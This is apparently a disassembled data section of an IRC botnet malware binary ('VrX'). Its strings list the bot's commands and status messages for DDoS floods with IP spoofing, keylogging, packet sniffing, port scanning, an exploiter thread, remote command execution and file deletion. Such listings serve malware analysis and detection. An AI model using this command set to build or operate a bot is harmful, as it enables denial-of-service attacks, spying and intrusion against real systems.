aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_42AE08	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406E1Do
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 10h
unk_42AE40	db  2Dh	; -		; DATA XREF: sub_401ACD+5346o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_10	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AE78	db  2Dh	; -		; DATA XREF: sub_401ACD+52CCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+52BCo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+52B5o
unk_42AEBC	db  2Dh	; -		; DATA XREF: sub_401ACD+521Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+520Ao
					; sub_4149C1+312o
		align 10h
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+51F3o
					; sub_4149C1+2F2o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+517Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+516Co
unk_42AF04	db  2Dh	; -		; DATA XREF: sub_401ACD+511Do
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+50A9o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+4FBEo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+4FA7o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+4F90o
		align 4
aVncHttpHostCha	db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o
		align 4
aVnchost	db 'vnchost',0          ; DATA XREF: sub_401ACD+4F48o
aP:					; DATA XREF: sub_401ACD+4F31o
					; .packed:00438790o ...
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+4F1Ao
		align 10h
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+4F03o
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+4EECo
		align 10h
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4ED5o
aU:					; DATA XREF: sub_401ACD+4EBEo
					; .packed:00438788o ...
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4EA7o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4E90o
		align 4
aAd		db 'ad',0               ; DATA XREF: sub_401ACD+4E79o
		align 10h
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4E62o
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4E4Bo
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4E34o
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4E0Eo
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4DF7o
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4DE0o
		align 10h
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4DC9o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4DB2o
		align 10h
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4D9Bo
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4D84o
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4D6Do
		align 4
aNazel3		db 'NAZEL3',0           ; DATA XREF: sub_401ACD+4D3Fo
					; sub_401ACD+4D56o
		align 10h
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4D28o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4D11o
		align 4
dword_42B064	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4D04o
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
dword_42B0A0	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4C95o
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4C12o
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4BFBo
					; sub_401ACD+51DBo ...
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4BE4o
		align 4
unk_42B0E8	db  2Dh	; -		; DATA XREF: sub_401ACD+4BD7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_12	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4B00o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4AE9o
					; sub_413694:loc_4137C0o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4AD2o
					; sub_413694:loc_4137A4o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4ABBo
					; sub_413694+F1o
		align 4
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4A8Do
		align 10h
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4A64o
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4A4Do
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4A36o
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4A1Fo
		align 10h
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4A08o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+49F1o
		align 10h
aE:					; DATA XREF: sub_401ACD+49DAo
					; .packed:00438778o ...
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+49C3o
aHadeth3	db 'HADETH3',0          ; DATA XREF: sub_401ACD+4995o
					; sub_401ACD+49ACo
aDe		db 'de',0               ; DATA XREF: sub_401ACD+497Eo
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4967o
		align 10h
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4950o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4939o
					; sub_401ACD+6B0Co
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4922o
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+490Bo
aT3		db 't3',0               ; DATA XREF: sub_401ACD+48F4o
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+48DDo
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+48C6o
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+48AFo
		align 10h
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+4898o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+4881o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+486Ao
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+4853o
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+483Co
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+4825o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+480Eo
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+47F7o
		align 10h
aM:					; DATA XREF: sub_401ACD+47E0o
					; .packed:004387D0o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+47B2o
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+479Bo
		align 10h
aA:					; DATA XREF: sub_401ACD+4784o
					; .packed:00438794o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+476Do
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+473Fo
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4728o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4711o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+46FAo
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+46E3o
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+46BAo
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+46A3o
unk_42B25C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406163o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B278	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406159o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+465Bo
					; sub_409909+5F0o
		align 4
unk_42B2A4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40611Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B2C4	db  2Dh	; -		; DATA XREF: sub_401ACD+4646o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B2E4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406091o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B304	db  2Dh	; -		; DATA XREF: sub_401ACD+45BAo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
aShare		db 'share',0            ; DATA XREF: sub_401ACD+4567o
		align 10h
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+4527o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+450Fo
		align 4
unk_42B344	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405FB9o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B364	db  2Dh	; -		; DATA XREF: sub_401ACD+44E2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+44ABo
		align 10h
unk_42B390	db  2Dh	; -		; DATA XREF: sub_401ACD+4478o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4454o
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+4426o
					; sub_401ACD+443Do ...
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+440Fo
		align 4
aKeyloger	db 'keyloger',0         ; DATA XREF: sub_401ACD+43F8o
		align 4
dword_42B3E8	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405EB8o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42B408	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43E1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B440	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43B3o
aFailedToSta_13	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B474	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4366o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 10h
dword_42B4A0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4356o
aAlreadyRunning	db '- Already running.',0
		align 10h
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4325o
		align 4
unk_42B4C8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DE5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoVrxSnifferTh	db '- No VrX sniffer thread found.',0
unk_42B4F4	db  2Dh	; -		; DATA XREF: sub_401ACD+430Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxSnifferStop	db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B530	db  2Dh	; -		; DATA XREF: sub_401ACD+42E0o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_14	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B56C	db  2Dh	; -		; DATA XREF: sub_401ACD+4271o
		db 3, 34h, 2
		db  53h	; S
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxPacketSniff	db '- VrX packet sniffer active.',0
		align 4
unk_42B598	db  2Dh	; -		; DATA XREF: sub_401ACD+420Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41D5o
dword_42B5C0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C95o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B5EC	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+41BEo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B628	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4190o
aFailedToSta_15	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B664	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4121o
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B694	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40BAo
aAlreadyRunni_1	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+409Ao
					; sub_401ACD+41EAo ...
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+4085o
		align 10h
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+406Eo
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4057o
		align 10h
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+4040o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4029o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+4012o
		align 10h
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FFBo
aV:					; DATA XREF: sub_401ACD+3FE4o
					; .packed:004387C4o ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FCDo
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FB6o
		align 4
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F9Fo
		align 10h
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F88o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F5Ao
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F43o
					; sub_401ACD+453Fo
		align 10h
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F2Co
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F15o
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EFEo
		align 10h
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE7o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ED0o
		align 10h
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA2o
		align 4
aO:					; DATA XREF: sub_401ACD+3E74o
					; .packed:00438AF4o
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E5Do
					; sub_401ACD+583Ao ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E46o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E2Fo
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E18o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E01o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DEAo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DD3o
		align 10h
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DA5o
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D77o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D60o
		align 4
aJ:					; DATA XREF: sub_401ACD+3D32o
					; .packed:004387ACo ...
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D04o
					; .packed:004387CCo ...
		unicode	0, <n>,0
unk_42B78C	db  2Dh	; -		; DATA XREF: sub_401ACD+3CCFo
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C3Do
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3BE2o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B0Do
dword_42B7EC	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AB7o
					; sub_401ACD+3AF2o
		dd 0
dword_42B804	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3A7Co
		dd 1
dword_42B81C	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A41o
					; sub_401ACD+3B62o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+39ECo
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3951o
					; sub_401ACD+3991o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+38F7o
		align 10h
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+3802o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+37BDo
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+36B5o
					; sub_401ACD+3CEDo
		align 4
dword_42B864	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+369Ao
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B88C	dd 636364h		; DATA XREF: sub_401ACD+361Do
dword_42B890	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o
dword_42B89C	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+34ABo
					; sub_401ACD+3712o ...
dword_42B8A4	dd 69257325h, 0		; DATA XREF: sub_401ACD+3490o
					; sub_40AAAC+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+344Fo
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3434o
					; sub_401ACD+3520o ...
		align 10h
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+340Do
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+33F2o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+33D0o
					; sub_401ACD+3D49o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+33B5o
					; sub_401ACD+34F4o ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+3393o
					; sub_401ACD+3D1Bo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+3378o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3329o
					; sub_401ACD+47C9o
		align 10h
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+330Eo
		align 10h
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+32BFo
		align 4
dword_42B914	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32A4o
dword_42B928	dd 7463h		; DATA XREF: sub_401ACD+3255o
dword_42B92C	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao
					; sub_401ACD+385Co ...
dword_42B93C	dd 5Fh			; DATA XREF: sub_401ACD+320Bo
					; sub_401ACD+3275o ...
dword_42B940	dd 6D70h		; DATA XREF: sub_401ACD+31EBo
					; sub_401ACD+4756o
unk_42B944	db  2Dh	; -		; DATA XREF: sub_401ACD+31BBo
		db 3, 34h, 2
		db  56h	; V
		db 72h,	58h, 20h
		db  46h	; F
		db 6Ch,	2 dup(6Fh)
		db  64h	; d
		db 2, 3, 2Dh
aSClonesLoadedT	db ' %s clones loaded to %s:%s',0
		align 10h
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+3164o
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3143o
		align 10h
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+312Co
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3115o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+30FEo
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+30E7o
		align 4
unk_42B9AC	db  2Dh	; -		; DATA XREF: sub_401ACD+30DAo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B9EC	db  2Dh	; -		; DATA XREF: sub_401ACD+3068o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+2FE1o
unk_42BA24	db  2Dh	; -		; DATA XREF: sub_401ACD+2FC5o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
unk_42BA50	db  2Dh	; -		; DATA XREF: sub_401ACD+2FA7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2F83o
		align 10h
unk_42BA90	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4049F7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_4049D9o
					; sub_401ACD+3F71o
unk_42BACC	db    3			; DATA XREF: sub_401ACD+2E9Ao
a81VrxInvalidLo	db '8,1-VrX- Invalid login slot number: %d.',0
		align 4
unk_42BAF8	db    3			; DATA XREF: sub_401ACD+2E8Fo
a81VrxNoUserLog	db '8,1-VrX- No user logged in at slot: %d.',0
		align 4
dword_42BB24	dd 312C3803h, 5872562Dh, 7325202Dh, 0 ;	DATA XREF: sub_401ACD+2E3Ao
unk_42BB34	db    3			; DATA XREF: sub_401ACD:loc_4048F8o
a81VrxPoweredBy	db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
		db 'Hackers.com).',0
dword_42BB84	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E08o
aFailedToSta_16	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
dword_42BBC0	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2D8Eo
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2D88o
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2D81o
		align 4
unk_42BBF4	db  2Dh	; -		; DATA XREF: sub_401ACD+2D0Ao
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_17	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BC34	db  2Dh	; -		; DATA XREF: sub_401ACD+2C86o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 10h
dword_42BC60	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C04o
aFailedToSta_18	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42BC9C	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2B95o
					; sub_411BCE+A8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BCC4	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2AE2o
dword_42BCD4	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo
dword_42BCE0	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo
dword_42BCF0	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2AC5o
unk_42BD00	db    3			; DATA XREF: sub_401ACD+2A52o
a81VrxReconne_1	db '8,1-VrX- Reconnecting.',0
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o
					; sub_401ACD:loc_409570o ...
		align 10h
unk_42BD30	db    3			; DATA XREF: sub_401ACD+2A30o
a81VrxDisconnec	db '8,1-VrX- Disconnecting.',0
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo
					; sub_401ACD+78C1o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo
		align 10h
unk_42BD80	db    3			; DATA XREF: sub_401ACD+29D4o
a81VrxStatusRea	db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
		align 4
unk_42BDAC	db    3			; DATA XREF: sub_401ACD+2995o
a81VrxBotIdS_	db '8,1-VrX- Bot ID: %s.',0
		align 4
unk_42BDC4	db  2Dh	; -		; DATA XREF: sub_401ACD+2986o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_19	db '- Failed to start list thread, error: <%d>.',0
		align 10h
dword_42BE00	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+2917o
		dd 65726874h, 2E736461h, 0
dword_42BE20	dd 627573h		; DATA XREF: sub_401ACD+28F1o
unk_42BE24	db    3			; DATA XREF: sub_401ACD+289Fo
a81VrxAliasList	db '8,1-VrX- Alias list.',0
		align 4
unk_42BE3C	db  2Dh	; -		; DATA XREF: sub_401ACD+2884o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_20	db '- Failed to start listing thread, error: <%d>.',0
dword_42BE74	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2815o
		dd 2E676Fh
unk_42BE8C	db    3			; DATA XREF: sub_401ACD+276Do
a81VrxNetworkIn	db '8,1-VrX- Network Info.',0
unk_42BEA4	db    3			; DATA XREF: sub_401ACD+273Eo
a81VrxSystemInf	db '8,1-VrX- System Info.',0
		align 4
